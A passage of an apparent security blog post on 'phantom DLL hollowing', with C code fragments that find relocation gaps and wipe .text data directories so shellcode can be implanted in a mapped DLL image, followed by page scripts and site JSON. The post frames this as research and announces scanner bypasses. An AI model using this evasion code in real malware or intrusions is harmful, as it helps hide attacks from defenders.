_1dH_e"><em><span style="color:#92908d">                    bWithinRange = true;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">                }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">            }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        dwRelocBufOffset += pCurrentRelocBlock-&gt;SizeOfBlock;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        pCurrentRelocBlock = (IMAGE_BASE_RELOCATION *)((uint8_t*)pCurrentRelocBlock + pCurrentRelocBlock-&gt;SizeOfBlock);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    return bWithinRange;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">}</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In the code above, a gap of sufficient size is identified within our intended DLL image by walking the base relocation data directory. Additionally, as previously mentioned <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a> will fail if an invalid PE is used as a handle for <strong><em>SEC_IMAGE</em></strong> initialization. In many Windows DLLs, data directories (such as TLS, configuration data, exports and others) are stored within the <strong><em>.text</em></strong> section itself. This means that by overwriting these data directories with a shellcode implant, we may invalidate existing data directories, thus corrupting the PE and causing <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a> to fail.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>for (uint32_t dwX = 0; dwX &lt; pNtHdrs-&gt;OptionalHeader.NumberOfRvaAndSizes; dwX++) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    if (pNtHdrs-&gt;OptionalHeader.DataDirectory[dwX].VirtualAddress &gt;= pSectHdrs-&gt;VirtualAddress &amp;&amp; pNtHdrs-&gt;OptionalHeader.DataDirectory[dwX].VirtualAddress &lt; (pSectHdrs-&gt;VirtualAddress + pSectHdrs-&gt;Misc.VirtualSize)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        pNtHdrs-&gt;OptionalHeader.DataDirectory[dwX].VirtualAddress = 0;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        pNtHdrs-&gt;OptionalHeader.DataDirectory[dwX].Size = 0;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    }</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In the code above I am wiping data directories that point within the <strong><em>.text</em></strong> section. A more elegant solution is to look for gaps between the data directories in <strong><em>.text</em></strong>, similar to how I found gaps within the relocations. However, this is less simple than it sounds, as many of these directories themselves contain references to additional data directories (load config is a good example, which contains many RVA which may also fall within <strong><em>.text</em></strong>). For the purposes of this PoC I’ve simply wiped conflicting data directories. Since the module will never be run, doing so will not affect its execution nor will it affect ours since we are using a PIC shellcode.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>Last thoughts</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Attackers have long been overdue for a major shift and leap forward in their malware design, particularly in the area of memory forensics. I believe that DLL hollowing is likely to become a ubiquitous characteristic of malware memory allocation over the next several years, and this will prompt malware writers to further refine their techniques and adopt my method of phantom DLL hollowing, or new (and still undiscovered) methods of thwarting analysis of PE images in memory vs. on disk. Until such a time that innovations in theory are called for, I believe it is more valuable to focus on practical solutions to existing defensive technology. For this reason, in my next post in this series I will discuss bypasses for defensive scanners such as <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Get-InjectedThread</u></a>, <a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#malfind" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Malfind</u></a> and <a href="https://github.com/monnappa22/HollowFind" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Hollowfind</u></a>.</p></div></div></div></div></article></div><div class="x_VfD"><div class="PIiSa" data-hook="post-main-actions-desktop"><div class="_2Dps0 blog-separator-background-color"></div><div class="_1vuja _3cyuT"><div class="_1HWZC blog-text-color" tabindex="-1" id="post-social-actions"><span class="NY3Hf"><button class="_1fzFA _1cr68" aria-label="Share via Facebook" data-hook="share-button__facebook"><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" role="img" class="_3T2c1 blog-icon-fill"><path d="M8.08865986,17 L8.08865986,10.2073504 L5.7890625,10.2073504 L5.7890625,7.42194226 L8.08865986,7.42194226 L8.08865986,5.08269399 C8.08865986,3.38142605 9.46779813,2.00228778 11.1690661,2.00228778 L13.5731201,2.00228778 L13.5731201,4.50700008 L11.8528988,4.50700008 C11.3123209,4.50700008 10.874068,4.94525303 10.874068,5.48583089 L10.874068,7.42198102 L13.5299033,7.42198102 L13.1628515,10.2073892 L10.874068,10.2073892 L10.874068,17 L8.08865986,17 Z"></path></svg><span class="ElIuu"></span></button></span><span class="NY3Hf"><button class="_1fzFA UEzuk" aria-label="Share via Twitter" data-hook="share-button__twitter"><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" role="img" class="_3T2c1 blog-icon-fill"><path d="M18,4.65548179 C17.3664558,4.9413444 16.6940105,5.12876845 16.0053333,5.21143556 C16.7308774,4.76869949 17.2742158,4.07523994 17.5353333,3.25870539 C16.8519351,3.66952531 16.1046338,3.95967186 15.3253333,4.116758 C14.3449436,3.05903229 12.8270486,2.71461351 11.4952673,3.24769481 C10.1634861,3.78077611 9.28740204,5.08344943 9.28466667,6.53469742 C9.28603297,6.80525838 9.31643401,7.07486596 9.37533333,7.33876278 C6.57168283,7.1960128 3.95976248,5.85317869 2.19,3.64465676 C1.87608497,4.18262214 1.71160854,4.79663908 1.714,5.42164122 C1.61438697,6.56033644 2.09783469,7.6712643 2.99466667,8.36452045 C2.36720064,8.27274888 1.74900117,8.12475716 1.14733333,7.9222845 L1.14733333,7.96708243 C1.26738074,9.69877048 2.5327167,11.1265052 4.21866667,11.4326042 C3.96602896,11.5152522 3.7021383,11.5571156 3.43666667,11.55666 C3.23854288,11.557327 3.0409356,11.5361435 2.84733333,11.4934834 C3.31534048,12.9376046 4.63446966,13.9228162 6.134,13.9481801 C4.90488101,14.9328579 3.38271245,15.4661427 1.816,15.4609716 C1.5432586,15.4614617 1.27074516,15.4449665 1,15.411579 C4.05446938,17.394368 7.93290025,17.5303291 11.1152384,15.7661758 C14.2975765,14.0020226 16.2768505,10.6187983 16.2773333,6.94247342 C16.2773333,6.789701 16.266,6.63692858 16.266,6.4830075 C16.9469737,5.98359293 17.5342367,5.3646551 18,4.65548179 L18,4.65548179 Z"></path></svg><span class="ElIuu"></span></button></span><span class="NY3Hf"><button class="_1fzFA PXAju" aria-label="Share via LinkedIn" data-hook="share-button__linked-in"><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" role="img" class="_3T2c1 blog-icon-fill"><path d="M17,17 L13.89343,17 L13.89343,12.1275733 C13.89343,10.9651251 13.87218,9.47069458 12.2781416,9.47069458 C10.660379,9.47069458 10.4126568,10.7365137 10.4126568,12.0434478 L10.4126568,17 L7.30623235,17 L7.30623235,6.98060885 L10.2883591,6.98060885 L10.2883591,8.3495072 L10.3296946,8.3495072 C10.7445056,7.56190587 11.7585364,6.7312941 13.2709225,6.7312941 C16.418828,6.7312941 17,8.80643844 17,11.5041407 L17,17 Z M3.80289931,5.61098151 C2.80647978,5.61098151 2,4.80165627 2,3.80498046 C2,2.80903365 2.80647978,2 3.80289931,2 C4.79669898,2 5.60434314,2.80903365 5.60434314,3.80498046 C5.60434314,4.80165627 4.79669898,5.61098151 3.80289931,5.61098151 Z M2.24786773,17 L2.24786773,6.98060885 L5.35662096,6.98060885 L5.35662096,17 L2.24786773,17 Z"></path></svg><span class="ElIuu"></span></button></span><span class="NY3Hf"><button class="_1fzFA" aria-label="Share via link" data-hook="share-button__link"><svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 19 19" role="img" class="_3T2c1 blog-icon-fill blog-button-hover-fill"><path d="M10.6000004,11.7622375 L14.2108923,11.7622375 C15.4561791,11.7622375 16.4656836,10.7527331 16.4656836,9.50744629 L16.4656836,9.50744629 L16.4656836,9.50744629 C16.4656836,8.26215946 15.4561791,7.25265503 14.2108923,7.25265503 L10.6000004,7.25265503 L10.6000004,5.84470702 L10.6000004,5.84470702 C10.6000004,5.73425007 10.6895434,5.64470702 10.8000004,5.64470702 L14.3209766,5.64470702 C16.4501961,5.64470702 18.1762695,7.37078048 18.1762695,9.5 C18.1762695,11.6292195 16.4501961,13.355293 14.3209766,13.355293 L10.8000004,13.355293 L10.8000004,13.355293 C10.6895434,13.355293 10.6000004,13.2657499 10.6000004,13.155293 L10.6000004,11.7622375 Z M8.39999962,7.25265503 L4.82047474,7.25265503 C3.57518792,7.25265503 2.56568348,8.26215946 2.56568348,9.50744629 L2.56568348,9.50744629 L2.56568348,9.50744629 C2.56568348,10.7527331 3.57518792,11.7622375 4.82047474,11.7622375 L8.39999962,11.7622375 L8.39999962,13.1578418 C8.39999962,13.2682987 8.31045657,13.3578418 8.19999962,13.3578418 L4.60784179,13.3578418 C2.4772146,13.3578418 0.75,11.6306272 0.75,9.5 C0.75,7.36937281 2.4772146,5.64215821 4.60784179,5.64215821 L8.19999962,5.64215821 L8.19999962,5.64215821 C8.31045657,5.64215821 8.39999962,5.73170126 8.39999962,5.84215821 L8.39999962,7.25265503 Z M6.66568358,8.69999981 L12.2656836,8.69999981 C12.3761405,8.69999981 12.4656836,8.78954286 12.4656836,8.89999981 L12.4656836,10.1499998 C12.4656836,10.2604567 12.3761405,10.3499998 12.2656836,10.3499998 L6.66568358,10.3499998 C6.55522663,10.3499998 6.46568358,10.2604567 6.46568358,10.1499998 L6.46568358,8.89999981 C6.46568358,8.78954286 6.55522663,8.69999981 6.66568358,8.69999981 Z" transform="rotate(-45 9.463 9.5)"></path></svg><span class="ElIuu"></span></button></span></div></div><div class="_2Dps0 blog-separator-background-color"></div><div class="_1vuja _2udrG" data-hook="post-main-actions__stats"><div class="_3Ibl5"><span>291 views</span></div><button class="_3Bdxz"><span class="_3BTGY" data-hook="like-button-with-count__like-count"><div class="like-button _7QZoA" aria-label="Post not marked as liked" role="button" data-hook="like-button"><div class="JuFMG"><div class="_3GAmo"></div></div><div class="_1UeeA"><div class="_3GAmo"></div></div><div class="_3KlwM"><div class="_3GAmo"></div></div><div class="uanT3"><div class="_3GAmo"></div></div><div class="_2x4gn"></div><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" role="img"><path d="M9.44985848,15.5291774 C9.43911371,15.5362849 9.42782916,15.5449227 9.41715267,15.5553324 L9.44985848,15.5291774 Z M9.44985848,15.5291774 L9.49370677,15.4941118 C9.15422701,15.7147757 10.2318883,15.0314406 10.7297038,14.6971183 C11.5633567,14.1372547 12.3827081,13.5410755 13.1475707,12.9201001 C14.3829188,11.9171478 15.3570936,10.9445466 15.9707237,10.0482572 C16.0768097,9.89330422 16.1713564,9.74160032 16.2509104,9.59910798 C17.0201658,8.17755699 17.2088969,6.78363112 16.7499013,5.65913129 C16.4604017,4.81092573 15.7231445,4.11008901 14.7401472,3.70936139 C13.1379564,3.11266008 11.0475663,3.84092251 9.89976068,5.36430396 L9.50799408,5.8842613 L9.10670536,5.37161711 C7.94954806,3.89335486 6.00516066,3.14638251 4.31830373,3.71958508 C3.36517186,4.00646284 2.65439601,4.72068063 2.23964629,5.77358234 C1.79050315,6.87166888 1.98214559,8.26476279 2.74015555,9.58185512 C2.94777753,9.93163559 3.23221417,10.3090129 3.5869453,10.7089994 C4.17752179,11.3749196 4.94653811,12.0862394 5.85617417,12.8273544 C7.11233096,13.8507929 9.65858244,15.6292133 9.58280954,15.555334 C9.53938013,15.5129899 9.48608859,15.5 9.50042471,15.5 C9.5105974,15.5 9.48275828,15.5074148 9.44985848,15.5291774 Z"></path></svg></div></span></button></div></div></div></div></article></div><div class="cSnEi"><div></div><div><div class=""><div class="_2xnVS"></div></div></div></div><div class="cSnEi"><div></div><div><div class=""><div class="_2Xngm"><div class="_8_thM"><div class="T3Yuz blog-card-background-color blog-card-border-color" style="border-width: 4px;"><div class="-yOCi blog-post-page-font"><div class="blog-text-color"><span><span class="blog-button-color">Log in</span> to leave a comment.</span></div></div></div></div><div class="_3ILLf"></div></div></div></div></div></div></div></div></div></div><div></div><div></div><div></div></div></div></div></div>

    
      <script>
  var p = function(x) { return x.split('=', 2).map(decodeURIComponent); };
  var r = function(acc, x) { acc[x[0]] = x[1]; return acc; };
  var q = location.search.replace(/^\?/, '').split('&').map(p).reduce(r, {});
  window.parent.postMessage(
  '{"intent":"TPA2","callId":1,"type":"applicationLoadingStep","compId":"' + q.compId + '","deviceType":"' + q.deviceType + '","data":{"version":"1.94.0", "args":{"stage":"firstMeaningfulPaint", "stageNum":0}}}', '*'
  );
</script>

    

  
    <script src="modal_data/polyfill.js" crossorigin=""></script>

    
    <script src="modal_data/bundle.js" crossorigin="anonymous"></script>
    <script>
      (function initSentry() {
        function isDuplexerError(event) {
          try {
            var stackFrames = event.exception.values[0].stacktrace.frames;
            return /@wix\/wix-duplexer-js/.test(stackFrames[stackFrames.length - 1].filename);
          } catch (error) {
            return false;
          }
        }

        Sentry.init({
          dsn: 'https://71e32b4ded27414b90a94adb4e8b4d23@sentry.wixpress.com/94',
          beforeSend: function beforeSend(event) {
            return isDuplexerError(event) ? null : event;
          },
        });

        Sentry.configureScope(function(scope) {
          var p = function(x) { return x.split('=', 2).map(decodeURIComponent); };
          var r = function(acc, x) { acc[x[0]] = x[1]; return acc; };
          var q = location.search.replace(/^\?/, '').split('&').map(p).reduce(r, {});
          
          scope.setTag('bundleName', 'post-page');
          scope.setTag('instanceId', '78e72780-ec1a-4e43-97c1-217c79d55e2f');
          scope.setTag('viewMode', q.viewMode);
          scope.setTag('deviceType', q.deviceType);
          scope.setTag('locale', q.locale);
        });
      })();
    </script>
  

    <script>
(function() {
    if (!(window.createImageBitmap && window.fetch)) return false;
    fetch('')
    .then(function(r){return r.blob();})
    .then(createImageBitmap)
    .then(function() {return true;}, function() {return false;})
    .then(function(isWebPSupported){window.__IS_WEBP_SUPPORTED__ = isWebPSupported});
})();
</script>

    <script src="modal_data/wix-private.js" crossorigin=""></script>

<script>if (window.Wix) { window.Wix.Utils.getViewMode() === 'site' && window.Wix.setPageMetadata({fullTitle: 'Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing'});}</script>


    <script src="react.js" crossorigin=""></script>
<script src="react-dom.js" crossorigin=""></script>

    <script src="modal_data/lodash.js" crossorigin=""></script>


    <script src="modal_data/ReactPlayer.js" crossorigin=""></script>


    
      <script src="modal_data/immutable.js" crossorigin="" defer="defer"></script>

    <script src="modal_data/Draft.js" crossorigin="" defer="defer"></script>


<script crossorigin="anonymous" src="modal_data/polyfill.js"></script>


    <script src="modal_data/main.js" crossorigin="" defer="defer"></script>
    <script src="modal_data/blog.js" crossorigin="" defer="defer"></script>


    

    

    <script src="modal_data/vendor-app.js" crossorigin="" defer="defer"></script>
<script src="modal_data/common-app.js" crossorigin="" defer="defer"></script>
<script src="malicious-memory-artifacts-part-i-dll-hollowing_data/post-page.js" crossorigin="" defer="defer"></script>

    

    <script>
      window.__INITIAL_STATE__ = {"appSettings":{"colorPresets":[{"name":"color_1","value":"#FFFFFF","reference":"white\u002Fblack"},{"name":"color_2","value":"#000000","reference":"black\u002Fwhite"},{"name":"color_3","value":"#ED1C24","reference":"primery-1"},{"name":"color_4","value":"#0088CB","reference":"primery-2"},{"name":"color_5","value":"#FFCB05","reference":"primery-3"},{"name":"color_11","value":"#FFFFFF","reference":"color-1"},{"name":"color_12","value":"#F6F6F6","reference":"color-2"},{"name":"color_13","value":"#B3B3B3","reference":"color-3"},{"name":"color_14","value":"#605E5E","reference":"color-4"},{"name":"color_15","value":"#2F2E2E","reference":"color-5"},{"name":"color_16","value":"#BAE9FF","reference":"color-6"},{"name":"color_17","value":"#97DEFF","reference":"color-7"},{"name":"color_18","value":"#30BDFF","reference":"color-8"},{"name":"color_19","value":"#207EA9","reference":"color-9"},{"name":"color_20","value":"#103F54","reference":"color-10"},{"name":"color_21","value":"#B6E8E3","reference":"color-11"},{"name":"color_22","value":"#8DD1CA","reference":"color-12"},{"name":"color_23","value":"#41BAAE","reference":"color-13"},{"name":"color_24","value":"#2B7C74","reference":"color-14"},{"name":"color_25","value":"#163E3A","reference":"color-15"},{"name":"color_26","value":"#F4C0AF","reference":"color-16"},{"name":"color_27","value":"#E99F86","reference":"color-17"},{"name":"color_28","value":"#DE5021","reference":"color-18"},{"name":"color_29","value":"#943616","reference":"color-19"},{"name":"color_30","value":"#4A1B0B","reference":"color-20"},{"name":"color_31","value":"#F4EAB1","reference":"color-21"},{"name":"color_32","value":"#E9DB89","reference":"color-22"},{"name":"color_33","value":"#DEC328","reference":"color-23"},{"name":"color_34","value":"#94821B","reference":"color-24"},{"name":"color_35","value":"#4A410D","reference":"color-25"}],"textPresets":{"Title":{"editorKey":"font_0","lineHeight":"1.4em","style":"normal","weight":"normal","size":"89px","fontFamily":"georgia","value":"font:normal normal normal 89px\u002F1.4em georgia,palatino,\"book antiqua\",\"palatino linotype\",serif;"},"Menu":{"editorKey":"font_1","lineHeight":"1.4em","style":"normal","weight":"normal","size":"16px","fontFamily":"din-next-w01-light","value":"font:normal normal normal 16px\u002F1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif;"},"Page-title":{"editorKey":"font_2","lineHeight":"1.4em","style":"normal","weight":"normal","size":"25px","fontFamily":"georgia","value":"font:normal normal normal 25px\u002F1.4em georgia,palatino,\"book antiqua\",\"palatino linotype\",serif;"},"Heading-XL":{"editorKey":"font_3","lineHeight":"1.4em","style":"normal","weight":"normal","size":"60px","fontFamily":"din-next-w01-light","value":"font:normal normal normal 60px\u002F1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif;"},"Heading-L":{"editorKey":"font_4","lineHeight":"1.4em","style":"normal","weight":"normal","size":"58px","fontFamily":"georgia","value":"font:normal normal normal 58px\u002F1.4em georgia,palatino,\"book antiqua\",\"palatino linotype\",serif;"},"Heading-M":{"editorKey":"font_5","lineHeight":"1.4em","style":"italic","weight":"normal","size":"22px","fontFamily":"georgia","value":"font:italic normal normal 22px\u002F1.4em georgia,palatino,\"book antiqua\",\"palatino linotype\",serif;"},"Heading-S":{"editorKey":"font_6","lineHeight":"1.4em","style":"normal","weight":"normal","size":"21px","fontFamily":"dinneuzeitgroteskltw01-_812426","value":"font:normal normal normal 21px\u002F1.4em dinneuzeitgroteskltw01-_812426,sans-serif;"},"Body-L":{"editorKey":"font_7","lineHeight":"1.4em","style":"normal","weight":"normal","size":"22px","fontFamily":"libre baskerville","value":"font:normal normal normal 22px\u002F1.4em \"libre baskerville\",serif;"},"Body-M":{"editorKey":"font_8","lineHeight":"1.4em","style":"normal","weight":"normal","size":"16px","fontFamily":"libre baskerville","value":"font:normal normal normal 16px\u002F1.4em \"libre baskerville\",serif;"},"Body-S":{"editorKey":"font_9","lineHeight":"1.4em","style":"normal","weight":"normal","size":"14px","fontFamily":"georgia","value":"font:normal normal normal 14px\u002F1.4em georgia,palatino,\"book antiqua\",\"palatino linotype\",serif;"},"Body-XS":{"editorKey":"font_10","lineHeight":"1.4em","style":"normal","weight":"normal","size":"12px","fontFamily":"din-next-w01-light","value":"font:normal normal normal 12px\u002F1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif;"}},"updatedAt":1576010644864,"style":{"cssUrls":["\u002F\u002Fstatic.parastorage.com\u002Fservices\u002Fsanta-resources\u002Fresources\u002Fviewer\u002Fuser-site-fonts\u002Fv5\u002Flanguages.css","\u002F\u002Fstatic.parastorage.com\u002Fservices\u002Fsanta-resources\u002Fresources\u002Fviewer\u002Fuser-site-fonts\u002Fv7\u002Flanguages.css"],"colors":{"navigation-textColor":{"themeName":"color-5","value":"rgba(47,46,46,1)"},"navigation-textColorActive":{"themeName":"color-24","value":"rgba(148,130,27,1)"},"widget-notificationBubbleColor":{"themeName":"color-13","value":"rgba(65,186,174,1)"},"widget-notificationBubbleTextColor":{"themeName":"color-1","value":"rgba(255,255,255,1)"},"navigation-backgroundColor":{"themeName":"color-1","value":"rgba(255,255,255,1)"},"post-titleColor":{"themeName":"color-24","value":"rgba(148,130,27,1)"},"post-headerTwoColor":{"themeName":"color-24","value":"rgba(148,130,27,1)"},"post-headerThreeColor":{"themeName":"color-24","value":"rgba(148,130,27,1)"},"post-textColor":{"themeName":"color-2","value":"rgba(246,246,246,1)"},"post-quotesColor":{"themeName":"color-3","value":"rgba(179,179,179,1)"},"blog-linkHashtagColor":{"themeName":"color-12","value":"rgba(141,209,202,1)"},"post-cardBorderColor":{"themeName":"color-5","value":"rgba(47,46,46,0.71)"},"post-cardBackgroundColor":{"themeName":"color-5","value":"rgba(47,46,46,1)"},"button-textColor":{"themeName":"color-1","value":"rgba(255,255,255,1)"},"button-color":{"themeName":"color-24","value":"rgba(148,130,27,1)"},"post-appBackgroundColor":{"themeName":"color-5","value":"rgba(47,46,46,1)"}},"numbers":{"post-cardBorderWidth":4,"post-mobile-pageFontSize":12,"post-mobile-titleFontSize":25,"post-mobile-headerTwoFontSize":20,"post-mobile-quotesFontSize":16,"post-mobile-headerThreeFontSize":18},"booleans":{"post-isAdvancedDesignOptionsEnabled":true,"blog-isAuthorPictureEnabled":true,"widget-isLoginButtonEnabled":false,"blogMenu-isCategoryLabelsEnabled":true,"blogMenu-isEnabled":false,"blog-isAuthorBadgeEnabled":true,"blog-isPostPublishDateEnabled":true,"blog-isReadingTimeEnabled":true,"blog-isPostTitleEnabled":true,"blog-isPostUpdatedDateEnabled":true,"blog-isCategoryLabelsEnabled":true,"blog-isViewCountEnabled":true,"pinterest-isEnabled":false},"fonts":{"navigation-font":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Paragraph 2","style":{"bold":false,"italic":false,"underline":false},"size":16,"preset":"Custom","editorKey":"font_8","fontStyleParam":true,"value":"font:normal normal normal 16px\u002F20px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"},"post-titleFont":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Heading 2","style":{"bold":false,"italic":false,"underline":false},"size":40,"preset":"Custom","editorKey":"font_2","fontStyleParam":true,"value":"font:normal normal normal 40px\u002F50px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"},"post-headerTwoFont":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Heading 2","style":{"bold":false,"italic":false,"underline":false},"size":22,"preset":"Custom","editorKey":"font_2","fontStyleParam":true,"value":"font:normal normal normal 22px\u002F27px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"},"post-headerThreeFont":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Heading 2","style":{"bold":false,"italic":false,"underline":false},"size":18,"preset":"Custom","editorKey":"font_2","fontStyleParam":true,"value":"font:normal normal normal 18px\u002F22px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"},"post-pageFont":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Paragraph 2","style":{"bold":false,"italic":false,"underline":false},"size":12,"preset":"Custom","editorKey":"font_8","fontStyleParam":true,"value":"font:normal normal normal 12px\u002F15px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"},"post-quotesFont":{"family":"wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas","displayName":"Paragraph 2","style":{"bold":false,"italic":false,"underline":false},"size":24,"preset":"Custom","editorKey":"font_8","fontStyleParam":true,"value":"font:normal normal normal 24px\u002F30px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas;"}},"googleFontsCssUrl":"\u002F\u002Ffonts.googleapis.com\u002Fcss?family=Libre+Baskerville:n,b,i,bi|&subset=latin","uploadFontFaces":"@font-face {\nfont-family: wf_a06df987aac84453946eecb85;\nsrc: url(\"https:\u002F\u002Fstatic.wixstatic.com\u002Fufonts\u002Fc1d8f6_a06df987aac84453946eecb8586c794d\u002Fwoff\u002Ffile.woff\") format(\"woff\"),\nurl(\"https:\u002F\u002Fstatic.wixstatic.com\u002Fufonts\u002Fc1d8f6_a06df987aac84453946eecb8586c794d\u002Fwoff2\u002Ffile.woff2\") format(\"woff2\"),\nurl(\"https:\u002F\u002Fstatic.wixstatic.com\u002Fufonts\u002Fc1d8f6_a06df987aac84453946eecb8586c794d\u002Fttf\u002Ffile.ttf\") format(\"ttf\");\n}\n"},"custom":{}},"commonSettings":{},"auth":{"currentUser":null,"isAuthenticated":false,"isAuthenticating":false},"headerWidget":{"showLogin":true},"comments":{},"communitiesContext":{"14ad9202-3dd3-128a-57bd-e5675fd7e313":{"isInstalled":false,"baseUrl":"https:\u002F\u002Fapps.wix.com\u002Fmembers","baseStaticUrl":"\u002F\u002Fstatic.parastorage.com\u002Fservices\u002Fcommunities-members-app\u002F1.381.0\u002F"},"14cc59bc-f0b7-15b8-e1c7-89ce41d0e0c9":{"isInstalled":false}},"commentEdit":null,"contentMigration":{"status":"NOT_STARTED"},"postEditor":{},"experiments":{"se_newBlogQuickMigration":"old","specs.wixBlog.NewPingAPI":"true","specs.wixBlog.PublishToDuplexer":"true","specs.wixBlog.CollectMetrics":"false","specs.wixBlog.ProvidePathToPost":"true","specs.wixBlog.DisableBeaconInOneApp":"true","specs.wixBlog.MobileLayoutUpdatedStyle":"true","specs.wixBlog.RcvTextColorPlugin":"true","specs.wixBlog.ProdOOI":"false","specs.wixBlog.SendEmailsThroughPing":"true","specs.wixBlog.NextProdOOI":"false","com.wixpress.communities.blog.subscription.experiments.AutoSubscribeToBlogNotifications":"true","specs.wixBlog.UsePrecomputedPostFields":"true","specs.wixBlog.ProvisionPostPage":"true","specs.wixBlog.UseNextRCE":"true","specs.wixBlog.ValidateViewMode":"false","specs.wixBlog.ExcludePostContent":"true","specs.wixBlog.InlineCss":"false","specs.wixBlog.DisplayCategoriesFromPost":"true","specs.wixBlog.CommentCounterOff":"false